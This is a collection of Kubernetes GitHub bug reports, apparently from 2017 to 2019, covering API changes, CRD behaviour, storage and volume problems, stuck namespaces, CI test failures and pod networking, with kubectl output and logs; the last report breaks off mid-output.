backend:\r     servicename: sshd-svc\r     serviceport: 22\r \r   what happened  :\r \r ingress is getting created for sshd- server\r \r   what you expected to happen  :\r \r ingress should create end point from where i have to access my ssh server running inside container\r \r   how to reproduce it    as minimally and precisely as possible :\r create a ingress and point to a kubectl ssh service  port 22 \r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : not a request for help. observed undocumented change in 1.6.1 api.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : endpoints subsets api\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release :\r \r    \r build_id=9000.104.0\r name=\ container-optimized os\ \r google_crash_id=lakitu\r version_id=56\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=56\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r \r -   kernel    e.g.  uname -a  :\r    \r linux gke-alpha-default-pool-3f2b4945-188b 4.4.21+  1 smp wed apr 5 14:40:46 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r    \r -   install tools  :\r -   others  :\r 1.6.1 alpha cluster set up with:\r    \r gcloud alpha container clusters create alpha --cluster-version 1.6.1 --zone us-central1-b --enable-kubernetes-alpha\r    \r \r   what happened  :\r \r observed api change in 1.6.1.  api/v1/namespaces/{namespace}/endpoints  returns  null  for  .items  .subsets . 1.6.0 returns     \r \r   what you expected to happen  :\r \r expect 1.6.1 to match 1.6.0, and return     \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r    1.6.0\r \r    bash\r $ kubectl -n=kube-system get ep kube-controller-manager -o jsonpath='{.subsets}'\r   \r \r $ kubectl -n=kube-system get ep -o jsonpath='{.items ? @.metadata.name==\ kube-controller-manager\   .subsets}'\r   \r    \r \r    1.6.1\r \r    bash\r $ kubectl -n=kube-system get ep kube-controller-manager -o jsonpath='{.subsets}'\r   \r \r $ kubectl -n=kube-system get ep -o jsonpath='{.items ? @.metadata.name==\ kube-controller-manager\   .subsets}'\r <nil>   <---- boom\r    \r \r \r   anything else we need to know  :\r \r original bug reported as an exception in linkerd:\r https://github.com/linkerd/linkerd/issues/1219\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : got an error when trying to use a fieldselector when watching a custom resource\r \r   what you expected to happen  : no error\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a crd and then a cr for it.\r 1. try to watch with a fieldselector, such as  metadata.name=b1 \r \r    \r i0821 16:05:00.053529    2067 round_trippers.go:383  get https://172.17.0.1:6443/apis/ark.heptio.com/v1/namespaces/heptio-ark/downloadrequests?fieldselector=metadata.name%3db1&resourceversion=174842&watch=true\r i0821 16:05:00.053540    2067 round_trippers.go:390  request headers:\r i0821 16:05:00.053547    2067 round_trippers.go:393      accept: application/json,  / \r i0821 16:05:00.053553    2067 round_trippers.go:393      user-agent: main/v1.7.3  linux/amd64  kubernetes/$format\r i0821 16:05:00.056961    2067 round_trippers.go:408  response status: 400 bad request in 3 milliseconds\r i0821 16:05:00.057028    2067 round_trippers.go:411  response headers:\r i0821 16:05:00.057036    2067 round_trippers.go:414      content-type: application/json\r i0821 16:05:00.057040    2067 round_trippers.go:414      content-length: 155\r i0821 16:05:00.057043    2067 round_trippers.go:414      date: mon, 21 aug 2017 20:05:00 gmt\r i0821 16:05:00.057058    2067 request.go:991  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ unstructured cannot convert field labels\ ,\ reason\ :\ badrequest\ ,\ code\ :400}\r    \r \r \r   anything else we need to know?  :\r \r the customresource  rest  implementation has a  predicatefunc  defined, and it looks like it should support at least a field selector for  metadata.namespace  and  metadata.name , but i'm guessing we need a bit more in place to make this work for  meta/v1/unstructured .\r \r   environment  :\r - kubernetes version  use  kubectl version  : head  commit baf2f85e738d83e8be6d1d75fed3a203b529a887 \r \r  @deads2k @enisoc @sttts @nikhita \r \r i can try to submit a pr to fix once i finish my current work item, if nobody picks this up sooner.

apiserver & apimachinery still have a warning \ no compatibility guarantees\ , but as these have now shipped we should stop changing the apis.\r \r is this feasible?  if not, can we have detailed change-notes on every change?\r \r one way to see the impact would be to split sample-apiserver out of the main repo, and create an e2e test to make sure that it is updated.  at the moment, the developer experience of working with apiserver & apimachinery is not _kubernetes_.

currently, we use disk uuid as the image filesystem storage identifier. https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/cri/v1alpha1/runtime/api.proto l1057\r \r however, when implementing this in cri-containerd, we found it hard to implement.\r 1  today we are relying on  /dev/disk/by-uuid  to implement it  both cri-containerd and cadvisor . however  /dev/disk/by-uuid  is specific to   udev   https://en.wikipedia.org/wiki/udev  device manager. another device manager, such as   mdev   https://wiki.gentoo.org/wiki/mdev  may not have it. we've got several issues for this in  cri-containerd  https://github.com/kubernetes-incubator/cri-containerd/issues/509, https://github.com/kubernetes-incubator/cri-containerd/issues/399 and https://github.com/kubernetes-incubator/cri-containerd/pull/292.\r 2  another option is to use  libblkid . however, because there isn't go implementation, we need to:\r   a  either use the c library, which introduces a hard dependency on cgo and  libblkid-dev .\r   b  or shell out   blkid   https://linux.die.net/man/8/blkid  which is part of  util-linux-ng  package. this is not impossible, but needs to introduce one extra dependency in both the container runtime and cadvisor.\r \r for linux other than uuid, there are other options. the pros and cons:\r   uuid: cons - relatively hard to get and use in golang; pros - unique. for remote container runtime, kubelet won't be confused.\r   device number: cons - for remote container runtime, kubelet may assume it's local device and can probably actually find a corresponding device locally; pros - easy to get. actually  cri-containerd   converts device number to uuid  https://github.com/kubernetes-incubator/cri-containerd/blob/master/pkg/server/service.go l250 , and cadvisor  converts uuid to device name  https://github.com/google/cadvisor/blob/7d11f4243f6e11700c0d644a468dfd48ba0ae588/fs/fs.go l172  today. with device number, the logic will be simpler.\r   device name: similar with device number.\r \r i'm not sure whether we should consider remote runtime today. since if the runtime is remote, all the resource management and cgroup stuff won't work anyway today.\r \r other than the problems above, there are some other problems:\r 1  how to handle zfs?\r   a  should container runtime return device uuid/name/number? if yes, container runtime need to understand zfs, and get device name/number from zfs pool name.\r   b  or should container runtime return zfs pool name and let kubelet pass that to cadvisor?\r the former seems better. ref https://github.com/kubernetes-incubator/cri-containerd/issues/325.\r 2  what about windows? it seems that windows also have the notion of  device number  https://technet.microsoft.com/en-us/library/cc957341.aspx , i'm not sure whether it's similar thing. @feiskyer \r 3  how about vm-based container runtime?\r \r @yujuhong @mikebrow @abhi @ijc @mrunalp @feiskyer \r /cc @kubernetes/sig-node-api-reviews \r

from https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=volume%20metrics%20pvcontroller\r \r failed in 5 jobs ▼\r  24 ci-kubernetes-e2e-gke-ubuntustable1-k8sdev-serial ►\r  23 ci-kubernetes-e2e-gci-gke-serial ►\r  6 ci-kubernetes-e2e-gke-cosbeta-k8sdev-soak ►\r  9 ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new ►\r  8 ci-kubernetes-soak-gke-gci ►\r failed in 4 tests ▼\r  70  sig-storage   serial  volume metrics pvcontroller should create unbound pvc count metrics for pvc controller after creating pvc only ►\r  69  sig-storage   serial  volume metrics pvcontroller should create bound pv/pvc count metrics for pvc controller after creating both pv and pvc ►\r  67  sig-storage   serial  volume metrics pvcontroller should create none metrics for pvc controller before creating any pv or pvc ►\r  66  sig-storage   serial  volume metrics pvcontroller should create unbound pv count metrics for pvc controller after creating pv only ►\r \r /  /status approved-for-milestone\r  \r https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gke-serial\r the job is on the master-blocking dashboard and the e2e test has been failing, please take a look\r \r cc @jdumars @abgworrall

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r if a user specifies volumemode: block in creating pvc and neither plug-in nor external provisioner doesn't support block, a pv is created, but is not bound to the pvc because the pv and pvc don't match. \r so, pvc will stay pending forever without any error messages.\r \r   what you expected to happen  :\r in above case, a proper error message is shown to users to make them understand what's wrong.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. set up plug-in and external provisioner that don't support block.\r 2. create pvc using volumemode: block.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r % k version                                                          \r client version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.3.643+92e4d3da0076f9\ , gitcommit:\ 92e4d3da0076f923a45d54d69c84e91ac6a61a55\ , gittrees\r 2e4d3da0076f923a45d54d69c84e91ac6a61a55\ , gittreestate:\ clean\ , builddate:\ 2018-02-13t21:48:57z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.3.643+92e4d3da0076f9\ , gitcommit:\ 92e4d3da0076f923a45d54d69c84e91ac6a61a55\ , gittreestate:\ clean\ , builddate:\ 2018-02-13t21:48:57z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r kvm\r \r - os  e.g. from /etc/os-release :\r    \r % cat /etc/os-release\r name=fedora\r version=\ 25  workstation edition \ \r    \r \r - kernel  e.g.  uname -a  :\r    \r % uname -r                                            \r 4.13.8-100.fc25.x86_64\r    \r \r - install tools:\r hack/local-up-cluster.sh \r \r - others:\r  \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r here is my situation:\r  root@k8s-master kube   kubectl get nodes \r name         status     roles     age       version\r k8s-master   ready      master    2h        v1.10.0\r k8s-node1    ready      <none>    2h        v1.10.0\r k8s-node2    notready   <none>    2h        v1.10.0\r my k8s-node2 status is notready   ,and i run \r  root@k8s-master ~   kubectl get pods --all-namespaces -o wide\r namespace     name                                 ready     status     restarts   age       ip             node\r kube-system   etcd-k8s-master                      1/1       running    0          2h        192.168.1.6    k8s-master\r kube-system   kube-apiserver-k8s-master            1/1       running    0          2h        192.168.1.6    k8s-master\r kube-system   kube-controller-manager-k8s-master   1/1       running    0          2h        192.168.1.6    k8s-master\r kube-system   kube-dns-86f4d74b45-j479k            3/3       running    0          2h        10.244.0.8     k8s-master\r kube-system   kube-flannel-ds-f4vpb                1/1       running    0          2h        192.168.1.17   k8s-node1\r kube-system   kube-flannel-ds-h9dcc                1/1       nodelost   0          2h        192.168.1.14   k8s-node2\r kube-system   kube-flannel-ds-xh2d5                1/1       running    0          2h        192.168.1.6    k8s-master\r kube-system   kube-proxy-l5x8n                     1/1       running    0          2h        192.168.1.6    k8s-master\r kube-system   kube-proxy-mr5sj                     1/1       running    0          2h        192.168.1.17   k8s-node1\r kube-system   kube-proxy-x44g4                     1/1       nodelost   0          2h        192.168.1.14   k8s-node2\r kube-system   kube-scheduler-k8s-master            1/1       running    0          2h        192.168.1.6    k8s-master\r \r and then,\r  root@k8s-master ~   kubectl describe po kube-proxy-x44g4 -n kube-system\r name:           kube-proxy-x44g4\r namespace:      kube-system\r node:           k8s-node2/192.168.1.14\r start time:     wed, 11 apr 2018 09:48:20 +0800\r labels:         controller-revision-hash=1193416634\r                 k8s-app=kube-proxy\r                 pod-template-generation=1\r annotations:    <none>\r status:         running\r reason:         nodelost\r message:        node k8s-node2 which was running pod kube-proxy-x44g4 is unresponsive\r ip:             192.168.1.14\r controlled by:  daemonset/kube-proxy\r containers:\r   kube-proxy:\r     container id:  docker://3116c0c558d87a2b0bad309177549f55214c75f174626d5de2c1a8ffd2cb8173\r     image:         k8s.gcr.io/kube-proxy-amd64:v1.10.0\r     image id:      docker://sha256:bfc21aadc7d3e20e34cec769d697f93543938e9151c653591861ec5f2429676b\r     port:          <none>\r     host port:     <none>\r     command:\r       /usr/local/bin/kube-proxy\r       --config=/var/lib/kube-proxy/config.conf\r     state:          running\r       started:      wed, 11 apr 2018 09:48:22 +0800\r     ready:          true\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /lib/modules from lib-modules  ro \r       /run/xtables.lock from xtables-lock  rw \r       /var/lib/kube-proxy from kube-proxy  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-proxy-token-7dgw5  ro \r conditions:\r   type           status\r   initialized    true \r   ready          true \r   podscheduled   true \r volumes:\r   kube-proxy:\r     type:      configmap  a volume populated by a configmap \r     name:      kube-proxy\r     optional:  false\r   xtables-lock:\r     type:          hostpath  bare host directory volume \r     path:          /run/xtables.lock\r     hostpathtype:  fileorcreate\r   lib-modules:\r     type:          hostpath  bare host directory volume \r     path:          /lib/modules\r     hostpathtype:  \r   kube-proxy-token-7dgw5:\r     type:        secret  a volume populated by a secret \r     secretname:  kube-proxy-token-7dgw5\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node-role.kubernetes.io/master:noschedule\r                  node.cloudprovider.kubernetes.io/uninitialized=true:noschedule\r                  node.kubernetes.io/disk-pressure:noschedule\r                  node.kubernetes.io/memory-pressure:noschedule\r                  node.kubernetes.io/not-ready:noexecute\r                  node.kubernetes.io/unreachable:noexecute\r events:          <none>\r \r and then,\r  root@k8s-master ~   kubectl logs kube-proxy-x44g4 -n kube-system\r error from server  notfound : the server could not find the requested resource   pods/log kube-proxy-x44g4 \r \r what is my problem?\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r   what happened  : delete namespace stuck on status terminating\r \r   what you expected to happen  : delete namespace\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r @kubernetes/sig-api machinery-bugs\r \r  root@node1 tmp   kubectl get namespace\r name           status        age\r default        active        2d\r istio-system   active        2d\r kube-public    active        2d\r kube-system    active        2d\r rook           terminating   7h\r \r  root@node1 tmp    curl -h \ content-type: application/json\  -x pget --data-binary @ns.json http://135.121.241.75:8001/api/v1/namespaces/rook/finalize -v\r   about to connect   to 135.121.241.75 port 8001   0 \r     trying 135.121.241.75...\r   connected to 135.121.241.75  135.121.241.75  port 8001   0 \r > pget /api/v1/namespaces/rook/finalize http/1.1\r > user-agent: curl/7.29.0\r > host: 135.121.241.75:8001\r > accept:  / \r > content-type: application/json\r > content-length: 479\r >\r   upload completely sent off: 479 out of 479 bytes\r < http/1.1 405 method not allowed\r < content-length: 245\r < content-type: application/json\r < date: thu, 17 may 2018 21:56:44 gmt\r <\r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ the server does not allow this method on the requested resource\ ,\r   \ reason\ : \ methodnotallowed\ ,\r   \ details\ : {\r \r   },\r   \ code\ : 405\r   connection  0 to host 135.121.241.75 left intact\r } root@node1 tmp  \r \r \r  root@node1 tmp   kubectl get namespace rook -o json\r {\r     \ apiversion\ : \ v1\ ,\r     \ kind\ : \ namespace\ ,\r     \ metadata\ : {\r         \ creationtimestamp\ : \ 2018-05-17t14:13:51z\ ,\r         \ deletiontimestamp\ : \ 2018-05-17t20:07:51z\ ,\r         \ name\ : \ rook\ ,\r         \ resourceversion\ : \ 305082\ ,\r         \ selflink\ : \ /api/v1/namespaces/rook\ ,\r         \ uid\ : \ 8687bbb1-59dc-11e8-95d0-8cdcd4b71238\ \r     },\r     \ spec\ : {\r         \ finalizers\ :  \r             \ kubernetes\ \r          \r     },\r     \ status\ : {\r         \ phase\ : \ terminating\ \r     }\r }\r  root@node1 tmp  \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:50:45z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:50:45z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r  root@node1 tmp  \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : more /etc/os-release\r name=\ red hat enterprise linux server\ \r version=\ 7.3  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r version_id=\ 7.3\ \r pretty_name=\ red hat enterprise linux\ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.3:ga:server\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.3\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.3\ \r \r - kernel  e.g.  uname -a  : linux node1 3.10.0-514.el7.x86_64  1 smp wed oct 19 11:24:13 edt 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubespray\r - others: helm/rook/istio\r \r \r

 \r   what happened  :\r i created a deployment on a aws k8s cluster, and that is using a pvc to a pv that is attached to an already-existing 3tb ebs volume\r \r the cluster mounts the volume onto the worker node successfully and i can  cd  into the directory successfully  i.e. it's a clean disk and doesn't require fsck . however, k8s returns a timeout attaching it into the pod\r \r if i delete the deployment, the disk remains attached to the node and is not released. force-detaching it from the node via the aws console allows it to be reused, but kubelet on that worker starts spamming error messages in the log after that, as the disk has been yanked and normally requires a restart to fix.\r \r   what you expected to happen  :\r the disk to be mounted into the pod successfully\r \r   how to reproduce it  as minimally and precisely as possible   :\r here's my yamls\r \r pv and pvc:\r    \r ---\r kind: persistentvolume\r apiversion: v1\r metadata:\r   name: tempdisk\r   namespace: testing\r spec:\r   capacity:\r     storage: 3000g\r   awselasticblockstore:\r     volumeid: aws://eu-west-1a/vol-xxxxxxxxx\r     fstype: ext4\r   accessmodes:\r   - readwriteonce\r   persistentvolumereclaimpolicy: retain\r   storageclassname: gp2\r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   namespace: testing\r   name: tempdisk-claim\r spec:\r   accessmodes:\r     - readwriteonce\r   volumemode: filesystem\r   resources:\r     requests:\r       storage: 3000g\r   storageclassname: gp2\r \r    \r \r deploy:\r \r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: deployment\r   namespace: testing\r   labels:\r     app: testing-app\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: testing-app\r   template:\r     metadata:\r       labels:\r         app: testing-app\r     spec:\r       securitycontext:\r         runasuser: 9999\r         fsgroup: 999\r       containers:\r       - name: main\r         image: docker-host/image:latest\r         command:   \ bash\ ,\ -c\ ,\ sleep 24h\  \r         ports:\r         - containerport: 80\r         - containerport: 8080\r \r       volumes:\r       - name: temp-disk\r         persistentvolumeclaim:\r           claimname: tempdisk-claim\r    \r \r \r   anything else we need to know?  :\r n/a\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r aws using kops  have posted this issue on that subproject too in case it's a kops issue \r \r - os  e.g. from /etc/os-release :\r ubuntu artful\r \r - kernel  e.g.  uname -a  :\r  4.13.0-43-generic \r \r - install tools:\r  kops \r \r - others:\r n/a

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r when trying to update a cr's scale subresource, the update request fails if the crd has multiple versions and the request is sent to a non-storage versions's endpoint. \r \r   what you expected to happen  :\r the update request succeed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r https://github.com/roycaihw/kubernetes/commit/71b7f5dac5003a130b315016704eecc08888fe99 in crd integration subresources_test, add a second version  v1  to the crd and mark it as the storage version. the test  testscalesubresource  still exercises on the top level version  v1beta1  and fails with:\r    \r fail: testscalesubresource  1.59s \r \tsubresources_test.go:291: wishihadchosennoxu.mygroup.example.com \ foo\  is invalid: apiversion: invalid value: \ mygroup.example.com/v1\ : must be mygroup.example.com/v1beta1\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : from master branch head\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign @mbohlool \r cc @sttts

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  : ci-kubernetes-integration-master, pull-kubernetes-integration\r \r   which test s  are failing  : run_crd_tests\r \r   since when has it been failing  : earliest i have found is november 16, 2018\r \r   testgrid link  :\r - https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-integration-master/6691\r - https://gubernator.k8s.io/build/kubernetes-jenkins/pr-logs/pull/71103/pull-kubernetes-integration/35959\r \r   reason for failure  : unsure\r \r   anything else we need to know  :\r we ran into this in our ci for the first time today. i was able to find 2 other occurrences in the kubernetes ci  linked above . here is a snippet of the output from the test run:\r \r    \r i1116 14:07:13.579  \u001b b\u001b m\u001b 32mcrd.sh:438: successful get bars {{range.items}}{{.metadata.name}}:{{end}}: \r i1116 14:07:13.798  \u001b b\u001b mbar.company.com/test created\r i1116 14:07:13.805  foo.company.com/test pruned\r i1116 14:07:13.968  waiting for get foos {{range.items}}{{.metadata.name}}:{{end}} : expected: , got: test:\r i1116 14:07:14.059  \u001b 1m\u001b 31m\r i1116 14:07:14.063  crd.sh:443: fail!\r i1116 14:07:14.064  get foos {{range.items}}{{.metadata.name}}:{{end}}\r i1116 14:07:14.064    expected: \r i1116 14:07:14.064    got:      test:\r i1116 14:07:14.064  \u001b b\u001b m\u001b 31m\r i1116 14:07:14.064  51 /go/src/k8s.io/kubernetes/hack/lib/test.sh\r i1116 14:07:14.064  \u001b b\u001b m\r w1116 14:07:14.640  !!!  1116 14:07:14  call tree:\r w1116 14:07:14.692  !!!  1116 14:07:14   1: /go/src/k8s.io/kubernetes/test/cmd/../../test/cmd/crd.sh:443 kube::test::get_object_assert ... \r w1116 14:07:14.693  !!!  1116 14:07:14   2: /go/src/k8s.io/kubernetes/test/cmd/../../test/cmd/crd.sh:133 run_non_native_resource_tests ... \r w1116 14:07:14.693  !!!  1116 14:07:14   3: /go/src/k8s.io/kubernetes/test/cmd/../../third_party/forked/shell2junit/sh2ju.sh:47 run_crd_tests ... \r w1116 14:07:14.693  !!!  1116 14:07:14   4: /go/src/k8s.io/kubernetes/test/cmd/../../third_party/forked/shell2junit/sh2ju.sh:112 eval ... \r w1116 14:07:14.693  !!!  1116 14:07:14   5: /go/src/k8s.io/kubernetes/test/cmd/legacy-script.sh:133 julog ... \r w1116 14:07:14.694  !!!  1116 14:07:14   6: /go/src/k8s.io/kubernetes/test/cmd/legacy-script.sh:508 record_command ... \r w1116 14:07:14.694  !!!  1116 14:07:14   7: hack/make-rules/test-cmd.sh:109 runtests ... \r i1116 14:07:14.890  +++ exit code: 1\r i1116 14:07:15.015  +++ error: 1\r i1116 14:07:15.465  error when running run_crd_tests\r    \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r can not curl from inside pod to other pod on different node  curl works to pod on same node \r \r   what you expected to happen  :\r curl should succeed\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.5\ , gitcommit:\ 51dd616cdd25d6ee22c83a858773b607328a18ec\ , gittreestate:\ clean\ , builddate:\ 2019-01-16t18:14:49z\ , goversion:\ go1.10.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: vagrant\r - os  e.g. from /etc/os-release :\r ubuntu 18.04\r - kernel  e.g.  uname -a  :\r  linux kube1 4.15.0-43-generic  46-ubuntu smp thu dec 6 14:45:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r \r info:\r    \r kubectl get cs\r name                 status    message              error\r scheduler            healthy   ok\r controller-manager   healthy   ok\r etcd-0               healthy   {\ health\ : \ true\ }\r    \r everything seems to run correctly\r    \r $ kubectl get pods -n kube-system\r name                            ready   status    restarts   age\r coredns-576cbf47c7-q7ncm        1/1     running   1          30m\r coredns-576cbf47c7-tclp8        1/1     running   1          30m\r etcd-kube1                      1/1     running   1          30m\r kube-apiserver-kube1            1/1     running   1          30m\r kube-controller-manager-kube1   1/1     running   1          30m\r kube-flannel-ds-amd64-6vlkx     1/1     running   1          30m\r kube-flannel-ds-amd64-7twk8     1/1     running   1          30m\r kube-flannel-ds-amd64-rqzr7     1/1     running   1          30m\r kube-proxy-krfzk                1/1     running   1          30m\r kube-proxy-vrssw                1/1     running   1          30m\r kube-proxy-xlrgz                1/1     running   1          30m\r kube-scheduler-kube1            1/1     running   1          30m\r    \r the scenario:\r    \r kubectl get pods -o wide\r name                   ready   status    restarts   age   ip           node    nominated node\r busybox                1/1     running   2          30m   10.244.2.5   kube2   <none>\r nginx-d55b94fd-l7swz   1/1     running   1          30m   10.244.2.4   kube2   <none>\r nginx-d55b94fd-zg7sj   1/1     running   1          30m   10.244.1.6   kube3   <none>\r    \r \r curl on pod on same node\r    \r kubectl exec busybox -- curl 10.244.2.4\r   % total    % received % xferd  average speed   time    time     time  current\r                                  dload  upload   total   spent    left  speed\r 100   612  100   612    0     0   357k      0 --:--:-- --:--:-- --:--:--  597k\r <!doctype html>\r <html>\r <head>\r <title>welcome to nginx!</title>\r <style>\r     body {\r         width: 35em;\r         margin: 0 auto;\r         font-family: tahoma, verdana, arial, sans-serif;\r     }\r </style>\r </head>\r <body>\r <h1>welcome to nginx!</h1>\r <p>if you see this page, the nginx web server is successfully installed and\r working. further configuration is required.</p>\r \r <p>for online documentation and support please refer to\r <a href=\ http://nginx.org/\ >nginx.org</a>.<br/>\r commercial support is available at\r <a href=\ http://nginx.com/\ 